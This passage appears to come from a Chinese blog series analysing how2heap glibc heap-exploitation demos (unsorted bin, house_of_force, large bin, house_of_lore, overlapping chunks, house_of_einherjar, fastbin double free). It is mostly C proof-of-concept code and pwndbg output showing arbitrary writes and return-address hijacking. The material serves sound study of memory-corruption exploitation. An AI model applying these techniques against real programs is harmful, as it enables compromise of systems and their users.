    //------------VULNERABILITY----------- 2

    p[1]=(unsigned long)(&stack_var-2);
    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
    fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

    //------------------------------------ 3

    malloc(400);
    fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
            "rewritten:\n");
    fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

这段代码分为三个步骤：

在栈上设置了一个我们即将要改写的目标；p指向一块400大小的chunk，一块500大小的chunk（用于防止400大小的chunk被合并到topchunk中）；随后free了p，插入到了unsorted bin中，此时，chunk(p)的fd和bk都指向了main arena + 88
```
 pwndbg> x/10gx 0x602000
 0x602000: 0x0000000000000000 0x00000000000001a1
 0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
```
更改p[1]的值，即chunk(p)->bk = &stack_var - 2，此时 bk指向了伪造的chunk(stack_var - 0x10)的位置，stack_var也就等同于fakeChunk->fd的位置
```
 pwndbg> x/x &stack_var 
 0x7fffffffdd98: 0x0000000000000000
 pwndbg> x/x p[1]
 0x7fffffffdd88: 0x00000000004007c6
```
再次分配400大小的chunk。由于此时chunk(p)->bk 指向的是fakeChunk而非unsorted bin本身，所以源码逻辑认为队列中还有一个chunk，p出列后就更改了chunk(p)->bk 也就是fakeChunk的fd，使其指向了main_arena +88。此时，stack_var的值就被更改了。
```
 pwndbg> x/4gx &stack_var -2
 0x7fffffffdd88: 0x0000000000400828 0x0000000000400890
 0x7fffffffdd98: 0x00007ffff7dd1b78 0x0000000000602010
```

unsoted_bin_into_stack

上一个case是修改局部变量的值，这次是在栈上伪造一个chunk，用于在栈上指定的地址中写数据。

void jackpot(){ printf("Nice jump d00d\n"); exit(0); }

int main() {

        // 1
        intptr_t stack_buffer[4] = {0};

        printf("Allocating the victim chunk\n");
        intptr_t* victim = malloc(0x100);

        printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
        intptr_t* p1 = malloc(0x100);

        printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
        free(victim);

        // 2
        printf("Create a fake chunk on the stack");
        printf("Set size for next allocation and the bk pointer to any writable address");
        stack_buffer[1] = 0x100 + 0x10;
        stack_buffer[3] = (intptr_t)stack_buffer;

        //------------VULNERABILITY----------- 3
        printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
        printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
        victim[-1] = 32;
        victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack

        //------------------------------------ 4
        printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
        char *p2 = malloc(0x100);
        printf("malloc(0x100): %p\n", p2);

        // 5
        intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
        memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

        assert((long)__builtin_return_address(0) == (long)jackpot);
}

这步和上一题的步骤一样，最终unsorted bin中插入了victim
在stack_buffer+1的位置构造一个size: 0x110，以及一个bk指针，指向stack_buffer本身
这步是模拟重写的漏洞，使victim-1的位置，也就是将chunksize(victim)改为0x20，在victim+1的位置构造了一个fd指针，指向stack_buffer。这样下一步malloc(0x100)就会取出stack_buffer位置的fake chunk

p2指向一个0x100的chunk。p2的地址 == stack_buffer+2的地址

 pwndbg> x/x p2
 0x7fffffffdd80: 0x00007ffff7dd1b78
 pwndbg> x/x stack_buffer +2
 0x7fffffffdd80: 0x00007ffff7dd1b78

最后获取目标函数地址，将其写在p2+40的位置，覆盖掉ret地址，并且绕过stack-smash检查，完成攻击

house_of_force

这是一个利用top chunk攻击的案例，通过将top chunk的size改成一个非常大的数值，导致无论多大的malloc都不会去通过mmap分配。随后通过获取目标地址和top chunk地址的差值，来达到任意地址写的目的。

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
        // 1
        intptr_t *p1 = malloc(256);
        fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

        fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
        int real_size = malloc_usable_size(p1);
        fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

        // 2
        fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

        //----- VULNERABILITY ----
        intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
        fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

        fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
        fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
        *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
        fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
        //------------------------

        fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
                "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
                "overflow) and will then be able to allocate a chunk right over the desired region.\n");

        // 3
        /*
                * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
                * new_top = old_top + nb
                * nb = new_top - old_top
                * req + 2sizeof(long) = new_top - old_top
                * req = new_top - old_top - 2sizeof(long)
                * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
                * req = dest - old_top - 4*sizeof(long)
                */
        unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
        fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
                "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
        void *new_ptr = malloc(evil_size);
        fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

        // 4
        void* ctr_chunk = malloc(100);
        fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
        fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
        fprintf(stderr, "Now, we can finally overwrite that value:\n");

        fprintf(stderr, "... old string: %s\n", bss_var);
        fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
        strcpy(ctr_chunk, "YEAH!!!");
        fprintf(stderr, "... new string: %s\n", bss_var);

        assert(ctr_chunk == bss_var);
}

p1指向一块256大小的内存，此时top chunk 被分割成来两部分。获取p1的实际大小。
通过p1+real_size-sizeof(long)获取top chunk的指针，然后改写top chunk的size为-1，这样即便malloc一块大内存也不会去调用mmap了
计算bss_var 和ptr_top之间的距离，将其作为参数进行malloc，这样下次malloc就能够获取bss_var的指针的了。这里有个式子第一眼看上去不太明了，需要拆解一下：

unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;

我们所要达到的目的是通过ptr_top的指针，加上一定值（第一次malloc），能够到达bss_var - 0x10的地址，这样第二次malloc就能够改写bss_var 的值了。由于ptr_top指向的是topchunk，所以公式是：ptr_top + 0x10 + x = dest - 0x10，得x = dest - 0x10 - ptr_top - 0x10
ctr_chunk指向一块100大小的内存，它的地址 == bss_var，改写ctr_chunk完成攻击。

large_bin_attack

这个是通过利用large bin的插入逻辑漏洞来完成攻击。这段代码主要目的是更改stack_var1和stack_var2的值。代码开头的注释提供来源码的逻辑：

/*

    This technique is taken from
    https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/

    [...]

              else
              {
                  victim->fd_nextsize = fwd;
                  victim->bk_nextsize = fwd->bk_nextsize;
                  fwd->bk_nextsize = victim;
                  victim->bk_nextsize->fd_nextsize = victim;
              }
              bck = fwd->bk;

    [...]

    mark_bin (av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;

    For more details on how large-bins are handled and sorted by ptmalloc,
    please check the Background section in the aforementioned link.

    [...]

 */

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
 
int main()
{
    fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
           "global variable global_max_fast in libc for further fastbin attack\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x420);
    fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
           " the first large chunk during the free()\n\n");
    malloc(0x20);

    unsigned long *p2 = malloc(0x500);
    fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
           " the second large chunk during the free()\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x500);
    fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);
 
    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
           " the third large chunk during the free()\n\n");
    malloc(0x20);
 
        // 1
    free(p1);
        // 2
    free(p2);
    fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
           " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
        // 3
    malloc(0x90);
    fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
            " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
            ", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
            " [ %p ]\n\n", (void *)((char *)p1 + 0x90));

        // 4
    free(p3);
    fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
           " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
 
    //------------VULNERABILITY-----------

    fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
            " as well as its \"bk\" and \"bk_nextsize\" pointers\n");
    fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
            " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
            " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
        // 5
    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    //------------------------------------
        // 6
    malloc(0x90);
 
    fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
            " During this time, targets should have already been rewritten:\n");

    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

    // sanity check
    assert(stack_var1 != 0);
    assert(stack_var2 != 0);

    return 0;
}

最上面一部分代码分配了5个chunk，主要看p1,p2,p3，其余的代码划分为6个部分：

释放p1，此时unsorted bin中插入了chunk(p1)
释放p2，unsorted bin中插入chunk(p2)
malloc(0x90) 这步会先查找unsorted bin，unsorted bin中第一个chunk是p2，p2不是最后一个块，而且它满足large bin的大小，所以p2被插入到large bin中。随后看p1，p1由于是unsorted bin中最后一个chunk，所以会被分割，将0x90大小返回给程序，剩余部分仍然放在unsorted bin中。所以此时： unsorted bin -> chunk(p1)+0x100; large bin -> chunk(p2)
释放p3，chunk(p3)被插入unsorted bin
为了使再次malloc后让p3成为large bin的第一个chunk，需要将p2的size改成比p3的size小的数值；又因为malloc后p2->bk_nextsize->fd_nextsize，p2->bk->fd 这两个指针会指向chunk(p3)，所以为了更改栈上两个变量的值，我们需要将p2->bk指向&stack_var1 - 2的地址，p2->bk_nextsize指向stack_var2 - 4的地址。所以才又了这部分代码
最后malloc(0x90)就完成了上一步的计划，完成栈上值的覆写。

Heap Exploitation - how2heap 2

Tue, 08 Dec 2020 00:00:00 +0000

how2heap

house_of_lore

这个例子主要是通过伪造chunk、fd和bk指针，使栈上的地址被安排到smallbin中，再通过malloc和memcpy来伪造数据，更改返回地址。

void jackpot(){
    fprintf(stderr, "Nice jump d00d\n"); exit(0);
}

int main(int argc, char * argv[]){

    // 1
    intptr_t* stack_buffer_1[4] = {0};
    intptr_t* stack_buffer_2[3] = {0};
    intptr_t *victim = malloc(0x100);

    // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
    intptr_t *victim_chunk = victim-2;

    stack_buffer_1[0] = 0;
    stack_buffer_1[1] = 0;
    stack_buffer_1[2] = victim_chunk;

    stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
    stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

    // 2
    void *p5 = malloc(1000);
    fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);

    fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
    free((void*)victim);

    void *p2 = malloc(1200);

    //------------VULNERABILITY-----------

    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

    // 3
    victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

    //------------------------------------

    fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
    fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

    // 4
    void *p3 = malloc(0x100);

    char *p4 = malloc(0x100);

    fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
            stack_buffer_2[2]);

    // 5
    intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
    memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

    // sanity check
    assert((long)__builtin_return_address(0) == (long)jackpot);
}

源码被划分成5个步骤：

栈上伪装一个chunk，主要完成了以下工作:

stack_buffer_1 -> fd = victim_chunk

stack_buffer_1 -> bk = stack_buffer_2[0]

stack_buffer_1 -> fd = stack_buffer_1 // 这步是为了绕过small bin的检查：
malloc后free，此时victim_chunk被加入unsorted bin，再次malloc使victim_chunk被加入small bin
更改了victim_chunk的bk指针，指向stack_buffer_1，此时small bin就相当于有两个chunk
p3 被分配0x100字节，victim_chunk从small bin弹出，这时small bin->bk 指向的是stack_buffer_1

p4 被分配0x100字节，这块内存的首地址是small bin->bk，即stack_buffer_1 + 0x10的地址(mem)

同时，由于stack_buffer_1这个fake chunk的bk指向的是stack_buffer_2，且stack_buffer_2的fd指向的是stack_buffer_1，所以，当stack_buffer_1从small bin取出后，small bin->bk指向的就是stack_buffer_2
此时p4指向的是栈地址，即stack_buffer_1 + 0x10的地址，所以可以通过memcpy可以更改栈上的数据。

接着就是读取函数地址，并将其赋值给p4+40，绕过stack canary检查，覆盖返回地址。即完成ROP攻击。

参考下图：

overlapping_chunks

free后改写chunk的size字段，使之后malloc的空间大于其原本的空间大小，与其他指针所指向的数据区域重叠

int main(int argc , char* argv[]){
    // 1
    intptr_t *p1,*p2,*p3,*p4;

    p1 = malloc(0x100 - 8);
    p2 = malloc(0x100 - 8);
    p3 = malloc(0x80 - 8);

    memset(p1, '1', 0x100 - 8);
    memset(p2, '2', 0x100 - 8);
    memset(p3, '3', 0x80 - 8);

    fprintf(stderr, "\nNow let's free the chunk p2\n");
    free(p2);

    // 2
    int evil_chunk_size = 0x181;
    int evil_region_size = 0x180 - 8;

    *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2

    // 3
    p4 = malloc(evil_region_size);

    // 4
    memset(p4, '4', evil_region_size);
    memset(p3, '3', 80);
}

分配三块连续的内存，并填充不同的数据。释放p2，存入unsorted bin
p2的size字段被设置为0x180，并且设置了prev_inuse为1
p4被分配了0x180-8大小，unsorted bin中的chunk被取出，而该chunk的大小比原先大了0x80，导致p4末尾的区域与p3重叠了
用‘4’填充p4，覆盖掉了p3的数据；更改p3部分数据，覆盖掉p4部分数据

overlapping_chunks_2

这个与上一个的区别是在free之前更改大小

int main(){
    // 1
    intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
    unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
    int prev_in_use = 0x1;

    p1 = malloc(1000);
    p2 = malloc(1000);
    p3 = malloc(1000);
    p4 = malloc(1000);
    p5 = malloc(1000);

    real_size_p1 = malloc_usable_size(p1);
    real_size_p2 = malloc_usable_size(p2);
    real_size_p3 = malloc_usable_size(p3);
    real_size_p4 = malloc_usable_size(p4);
    real_size_p5 = malloc_usable_size(p5);

    memset(p1,'A',real_size_p1);
    memset(p2,'B',real_size_p2);
    memset(p3,'C',real_size_p3);
    memset(p4,'D',real_size_p4);
    memset(p5,'E',real_size_p5);

    free(p4);

    // 2
    *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE 

    free(p2);

    // 3
    p6 = malloc(2000);
    real_size_p6 = malloc_usable_size(p6);

    // 4
    memset(p6,'F',1500);

分配了5块内存，并用不同的字符填充内存块。最后释放p4(这一步不做也没影响)
伪装一个chunk size, 塞到p2的chunk size位置，让系统认为p2的chunk size 有size(p2+p3)那么大；释放p2。
分配了一块size(p2+p3)大小的内存给p6，覆盖了p3的内存
填充p6的数据，导致p3数据被修改

mmap_overlapping_chunks

如果malloc的参数大小超过了mp_.mmap_threshold，系统就会通过mmap来分配内存，由munmap来释放内存返回给kernel。通过mmap分配的内存的元数据中，m位被置为1，代表是mmap分配的。

Mmap chunk的prev_size代表mmap chunk的剩余空间，而不是下一个块的大小。并且，chunk被释放时也不会使用到fd和bk指针，因为它不会被放回bins中。

这里描述的也是覆盖chunk的攻击，只不过这里的chunk是通过mmap来分配的。

int main(){
    int* ptr1 = malloc(0x10);

    // 1
    long long* top_ptr = malloc(0x100000);
    printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);

    // After this, all chunks are allocated downwards in memory towards the heap.
    long long* mmap_chunk_2 = malloc(0x100000);
    printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);

    long long* mmap_chunk_3 = malloc(0x100000);
    printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);

    // 2
    // Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.
    // Additionally, this same attack can be used with the prev_size instead of the size.
    mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
    printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
    printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");

   
    // Munmaps both the second and third pointers
    free(mmap_chunk_3); 

    /* 
    Would crash, if on the following:
    mmap_chunk_2[0] = 0xdeadbeef;
    This is because the memory would not be allocated to the current program.
    */

    // 3
    // Gets the distance between the two pointers.
    long long* overlapping_chunk = malloc(0x300000);

    // 4
    int distance = mmap_chunk_2 - overlapping_chunk;
    printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance);
    printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]);

    // Set the value of the overlapped chunk.
    printf("Setting the value of the overlapped chunk\n");
    overlapping_chunk[distance] = 0x1122334455667788;

    assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
}

分配了三块0x100000大小的内存，这些都是通过mmap分配的，所以不在heap的区域。第一块位于libc上方，而第二块位于libc下方，第三块位于第二块的下方。
更改chunk3的size字段，改成了size(chunk3+chunk2)，大小为0x202002，然后释放chunk3。此时由于从chunk3 + 0x202000的区域已经返回给kernel，所以一旦操作读写chunk2就会造成崩溃
新分配一块内存，大小需要超过刚才被释放的大小0x202000，因为在前一步释放的过程中，mmapthreshold被更新成了0x202000。此时这块新分配的内存，覆盖掉了之前munmap的内存。
获取chunk2和overlappingChunk之间的距离，最后通过改写overlappingchunk的数据来改写chunk2的数据，完成攻击

参考：munmap madness

house_of_einherjar

这里是利用off-by-one来改写chunk的pre_inuse字段，并通过改写prev size和size字段来绕过检查，最终导致free时将块合并到目标地址，并通过下一次的malloc来获取目标地址内存。

/*
   Credit to st4g3r for publishing this technique
   The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 
*/

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // 1
    printf("Welcome to House of Einherjar!\n");
    printf("Tested in Ubuntu 16.04 64bit.\n");
    printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

    uint8_t* a;
    uint8_t* b;
    uint8_t* d;

    printf("\nWe allocate 0x38 bytes for 'a'\n");
    a = (uint8_t*) malloc(0x38);
    printf("a: %p\n", a);

    int real_a_size = malloc_usable_size(a);
    printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

    // create a fake chunk
    printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
    printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
    printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
    printf("(although we could do the unsafe unlink technique here in some scenarios)\n");

    size_t fake_chunk[6];

    fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
    fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
    fake_chunk[2] = (size_t) fake_chunk; // fwd
    fake_chunk[3] = (size_t) fake_chunk; // bck
    fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
    fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


    printf("Our fake chunk at %p looks like:\n", fake_chunk);
    printf("prev_size (not used): %#lx\n", fake_chunk[0]);
    printf("size: %#lx\n", fake_chunk[1]);
    printf("fwd: %#lx\n", fake_chunk[2]);
    printf("bck: %#lx\n", fake_chunk[3]);
    printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
    printf("bck_nextsize: %#lx\n", fake_chunk[5]);

    // 2
    /* In this case it is easier if the chunk size attribute has a least significant byte with
        * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
        * the chunk includes the amount requested plus some amount required for the metadata. */
    b = (uint8_t*) malloc(0xf8);
    int real_b_size = malloc_usable_size(b);

    printf("\nWe allocate 0xf8 bytes for 'b'.\n");
    printf("b: %p\n", b);

    uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

    printf("\nb.size: %#lx\n", *b_size_ptr);
    printf("b.size is: (0x100) | prev_inuse = 0x101\n");
    printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
    a[real_a_size] = 0; 
    printf("b.size: %#lx\n", *b_size_ptr);
    printf("This is easiest if b.size is a multiple of 0x100 so you "
            "don't change the size of b, only its prev_inuse bit\n");
    printf("If it had been modified, we would need a fake chunk inside "
            "b where it will try to consolidate the next chunk\n");

    // 3
    // Write a fake prev_size to the end of a
    printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
            "it will consolidate with our fake chunk\n", sizeof(size_t));
    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
    printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

    //Change the fake chunk's size to reflect b's new prev_size
    printf("\nModify fake chunk's size to reflect b's new prev_size\n");
    fake_chunk[1] = fake_size;

    // 4
    // free b and it will consolidate with our fake chunk
    printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
    free(b);
    printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

    //if we allocate another chunk before we free b we will need to 
    //do two things: 
    //1) We will need to adjust the size of our fake chunk so that
    //fake_chunk + fake_chunk's size points to an area we control
    //2) we will need to write the size of our fake chunk
    //at the location we control. 
    //After doing these two things, when unlink gets called, our fake chunk will
    //pass the size(P) == prev_size(next_chunk(P)) test. 
    //otherwise we need to make sure that our fake chunk is up against the
    //wilderness

    printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
    d = malloc(0x200);
    printf("Next malloc(0x200) is at %p\n", d);
}

代码分为4个步骤：

a指向一块0x38的内存，在栈上构造了一个fake chunk，并改写其pre_size,size,fd,bk,fd_nextsize,bk_nextsize字段

 pwndbg> x/8gx fake_chunk 
 0x7fffffffdd70: 0x0000000000000100 0x0000000000000100
 0x7fffffffdd80: 0x00007fffffffdd70 0x00007fffffffdd70
 0x7fffffffdd90: 0x00007fffffffdd70 0x00007fffffffdd70
 0x7fffffffdda0: 0x00007fffffffde90 0x8e07974ff9e77c00

b指向一块0xf8实际0x100的内存，并通过溢出a来改写b的size字段，使其pre_inuse字段为0。
计算chunk(b)至fake chunk的距离，并将其写入a的最后一个字节，即b的prev_size字段，同时也需要改写fake chunk的size字段，绕过检查
最后，释放b，造成b与fake chunk合并，并通过malloc获取fake chunk的内存块

Heap Exploitation - how2heap 1

Fri, 04 Dec 2020 00:00:00 +0000

how2heap

引用的代码中只摘取了关键的部分。

first_fit

 char* a = malloc(0x512);
 char* b = malloc(0x256);
 char* c;
 strcpy(a, "this is A!");
 free(a);
 c = malloc(0x500);
 strcpy(c, "this is C!");

a释放后未重置为NULL，c被分配的内存就是a原本指向的内存，导致原指针a指向的数据被更改。也就是uaf的漏洞利用。

calc_tcache_idx

这里主要介绍了tcache的index的算法逻辑。

    IDX = (CHUNKSIZE - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT
    On a 64 bit system the current values are:
        MINSIZE: 0x20
        MALLOC_ALIGNMENT: 0x10
    So we get the following equation:
    IDX = (CHUNKSIZE - 0x11) / 0x10

    BUT be AWARE that CHUNKSIZE is not the x in malloc(x)
    It is calculated as follows:
    IF x + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE(0x20) CHUNKSIZE = MINSIZE (0x20)
    ELSE: CHUNKSIZE = (x + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
    => CHUNKSIZE = (x + 0x8 + 0xf) & ~0xf

fastbin_dup

主要描述double free的漏洞利用。

int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
free(a);
free(b);
free(a);
a = malloc(8);
b = malloc(8);
c = malloc(8);

a,b,c被分配了8字节，释放后会被放到fastbin中。释放a后：

    pwndbg> fastbins
    fastbins
    0x20: 0x602000 ◂— 0x0

释放b后：

    pwndbg> fastbins
    fastbins
    0x20: 0x602020 —▸ 0x602000 ◂— 0x0

再次释放a后：

    pwndbg> fastbins
    fastbins
    0x20: 0x602000 —▸ 0x602020 ◂— 0x602000

可以看到此时fastbins中有两个a的地址，之后的三次malloc就会导致a的地址被使用两次。

    1st malloc(8): 0x957010
    2nd malloc(8): 0x957030
    3rd malloc(8): 0x957010

fastbin_dup_into_stack

基于上一个例子，在double free后构造了一个fake chunk。

int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
free(a);
free(b);
free(a);
a = malloc(8);
b = malloc(8);
c = malloc(8);

// d指向了a的内存
unsigned long long *d = malloc(8);

// 第二次malloc用掉了b的内存
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));

// 栈上的变量置为0x20，这步相当于设置了chunksize
stack_var = 0x20;

// 此时更改d的值，相当于更改了fastbin中剩下的chunk的fd, 这里被赋值为stack_var的地址减去d的大小(8)
// 所以fd+8= 20 就是 fake chunk的大小
// 这步结束之后，fastbin中就多了一个指向 &stack_var - 8 地址的fake chunk
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

// 这步使用了 fastbin中原本a所指向的chunk
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
// 这步就使用了fake chunk
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));

具体分析写在注释内。目的是利用double free构造一个fake chunk来完成任意地址的读写，这次是使用的是栈上的地址。

fastbin_dup_consolidate

void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
free(p1);

void* p3 = malloc(0x400);
free(p1);

第一次free后：

pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0

p3malloc后，触发了malloc_consolidate()，导致fastbin中的chunk被移到对应的smallbin中。

pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

pwndbg> smallbins
smallbins
0x50: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000

此时free(p1)可以绕过fastbin中topchunk的检查，又新增一个p1所指向的chunk。导致smallbin和fastbin中同时包含两个相同的chunk，造成double free漏洞。

unsafe_unlink

uint64_t *chunk0_ptr;

int main()
{
    int malloc_size = 0x80; //we want to be big enough not to use fastbins
    int header_size = 2;

    // 1
    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1

    // 2
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

    // 3
